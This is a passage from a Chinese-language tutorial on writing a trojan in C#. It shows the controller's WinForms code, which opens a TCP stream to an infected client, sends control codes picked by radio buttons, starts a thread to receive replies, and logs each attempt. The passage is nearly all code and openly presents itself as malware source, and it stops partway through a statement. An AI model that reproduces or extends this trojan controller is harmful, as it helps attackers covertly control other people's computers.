用C#实现木马程序

用C#实现木马程序(2)    try
   {
  
   stream = client.GetStream();
   if(stream.CanWrite)
   {
   //发送控制码
   string control = "jiance";
   byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
   stream.Write(by,0,by.Length);
   //下次使用
   stream.Flush();
  //启动接收反回数据的线程
  //receive是线程执行的函数，见后面的分析
   threadReceive = new Thread(new ThreadStart(receive));
   threadReceive.Start();
   }
   }
   catch(Exception ee)
   {
   richTextBox1.AppendText (ee.Message+"\r");
   MessageBox.Show(ee.Message);
   }
  }
  3控制生效的代码
  private void button9_Click(object sender, System.EventArgs e)
   {
   //这里是确定要发送的控制码，RadioButton是窗体控件
   if(radioButton1.Checked){ control = form2.zhUCex;}
   else if(radioButton2.Checked){ control =form3.zhuces;}
   else if(radioButton3.Checked){ control = warring;}
   else if(radioButton4.Checked){ control =suggest;}
   else if(radioButton5.Checked){ control =form4.mumawe;}
   else if(radioButton6.Checked){ control =drop;}
   if (control =="000000")
   {
   MessageBox.Show("你没有输入任何控制目标!不发控制信号");
   richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
   }
   else if(control != "000000")
   {
   try
   {
   //记录操作
   richTextBox1.AppendText (control + "正在试图控制,等待回应......" + "\r");
   stream = client.GetStream();
   if(stream.CanWrite )
   {
   byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());